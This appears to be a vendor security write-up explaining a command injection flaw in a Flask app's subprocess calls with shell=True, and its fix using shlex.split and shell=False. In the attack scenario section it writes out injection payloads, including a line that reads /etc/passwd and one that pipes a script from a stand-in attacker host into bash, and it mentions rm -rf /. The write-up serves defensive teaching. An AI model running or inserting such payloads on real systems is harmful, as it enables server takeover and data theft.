Introduction
The app.py file in this Flask application handles command execution through WebSocket connections, but a critical flaw in the executar_comando and executar_comando_sync functions created a severe security risk. Both functions used subprocess.Popen and subprocess.run with shell=True, passing command strings directly to the system shell without any sanitization.
This pattern appeared in three separate locations within the file:
- Line 15: subprocess.Popen(comando, shell=True, ...)
- Line 38: subprocess.run(comando, shell=True, ...)
- A duplicate executar_comando_sync function also using subprocess.Popen with shell=True
For developers building web applications that execute system commands, this vulnerability demonstrates why shell execution should be avoided entirely when handling any form of user input.
The Vulnerability Explained
Command injection occurs when an application passes user-controlled data to a system shell without proper sanitization. When shell=True is set in Python's subprocess functions, the command string is interpreted by the system shell (/bin/sh on Unix systems), which processes shell metacharacters like ;, |, &&, $(), and backticks.
Here's the vulnerable code pattern that existed in app.py:
def executar_comando(comando, sid):
try:
process = subprocess.Popen(
comando, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
And the synchronous version:
def executar_comando_sync(comando):
try:
result = subprocess.run(
comando, shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
Attack Scenario
Since this is a Flask web service with WebSocket support (using Flask-SocketIO), the comando parameter could originate from client requests. An attacker could craft a malicious payload like:
legitimate_command; cat /etc/passwd
Or more dangerously:
legitimate_command && curl http://attacker.com/shell.sh | bash
When passed to subprocess.Popen with shell=True, the shell interprets the semicolon as a command separator, executing both the intended command and the attacker's injected command. This grants the attacker full control over the server with the same privileges as the web application process.
Real-World Impact
For this specific application, the impact is severe:
- Full server compromise: Attackers can read sensitive files, install backdoors, or pivot to other systems
- Data exfiltration: Database credentials, API keys, and user data could be stolen
- Denial of service: Commands like rm -rf / or fork bombs could destroy the system
- Lateral movement: The compromised server could be used to attack internal network resources
The application also ran with debug=True in production, which compounds the risk by exposing detailed error messages and potentially enabling the Werkzeug debugger.
The Fix
The fix implements three critical changes across all vulnerable code paths:
1. Replace shell=True with shell=False
Setting shell=False prevents the command from being interpreted by the system shell, eliminating shell metacharacter processing entirely.
2. Use shlex.split() for Safe Argument Parsing
The shlex module provides shell-like parsing without actual shell execution. It properly handles quoted strings and escaping while converting a command string into a list of arguments.
3. Disable Debug Mode
The fix also sets debug=False in the socketio.run() calls to prevent information disclosure in production.
Before and After Comparison
Before (Vulnerable):
import subprocess
def executar_comando(comando, sid):
try:
process = subprocess.Popen(
comando, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
After (Secure):
import subprocess
import shlex
def executar_comando(comando, sid):
try:
process = subprocess.Popen(
shlex.split(comando), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
The same pattern was applied to all three vulnerable locations:
- executar_comando function (async with WebSocket output streaming)
- executar_comando_sync function (synchronous execution using subprocess.run)
- Duplicate executar_comando_sync function (using subprocess.Popen)
Why This Works
With shell=False, subprocess expects a list of arguments where the first element is the executable and subsequent elements are arguments. The shlex.split() function safely tokenizes a command string:
>>> import shlex
>>> shlex.split("echo 'hello world'; rm -rf /")
['echo', 'hello world; rm -rf /']
Notice how the malicious payload becomes a single argument to echo rather than a separate command. The shell metacharacters are treated as literal characters, not command separators.
Prevention & Best Practices
1. Always Use shell=False (Default)
Python's subprocess functions default to shell=False for a reason. When you must execute commands:
# Safe: arguments as a list
subprocess.run(['ls', '-la', '/tmp'], shell=False)
# Safe: using shlex for string commands
subprocess.run(shlex.split('ls -la /tmp'), shell=False)
2. Validate and Sanitize Input
Even with shell=False, validate that command arguments match expected patterns:
import re
def safe_filename(filename):
if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
raise ValueError("Invalid filename")
return filename
3. Use Allowlists for Commands
Instead of accepting arbitrary commands, define a set of allowed operations:
ALLOWED_COMMANDS = {
'status': ['systemctl', 'status', 'myservice'],
'restart': ['systemctl', 'restart', 'myservice'],
}
def execute_allowed(action):
if action not in ALLOWED_COMMANDS:
raise ValueError("Unknown action")
return subprocess.run(ALLOWED_COMMANDS[action], capture_output=True)
4. Disable Debug Mode in Production
Never run Flask applications with debug=True in production:
if __name__ == '__main__':
socketio.run(app, host="0.0.0.0", debug=False, use_reloader=False)
5. Use Static Analysis Tools
Tools like Bandit can detect shell=True patterns:
bandit -r app.py
Key Takeaways
- The
executar_comandofunctions inapp.pywere vulnerable because they passed unsanitized strings toshell=Truesubprocess calls - Using
shlex.split()withshell=Falseneutralizes shell metacharacters by treating them as literal argument characters - All three subprocess call sites required fixing: the async Popen, the sync run(), and the duplicate Popen function
- Debug mode was also disabled to prevent information disclosure through Flask's error pages
- Command execution in web applications requires defense-in-depth: argument parsing, input validation, and principle of least privilege
How Orbis AppSec Detected This
- Source: User-controlled input from request handlers passed to the
comandoparameter - Sink:
subprocess.Popen(..., shell=True)inapp.py:15andsubprocess.run(..., shell=True)inapp.py:38 - Missing control: No input sanitization, no argument list conversion, shell execution enabled
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced
shell=Truewithshell=Falseand addedshlex.split()to safely tokenize command strings into argument lists
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in app.py demonstrates a common but critical mistake: trusting user input in shell commands. The combination of shell=True with unsanitized input created a direct path from HTTP requests to arbitrary code execution on the server.
The fix is straightforward but essential: use shlex.split() to safely parse command strings and always set shell=False to prevent shell metacharacter interpretation. For Flask applications handling command execution, these changes transform a critical vulnerability into a secure operation while maintaining the same functionality.
Remember: if you find yourself reaching for shell=True, stop and reconsider. There's almost always a safer alternative.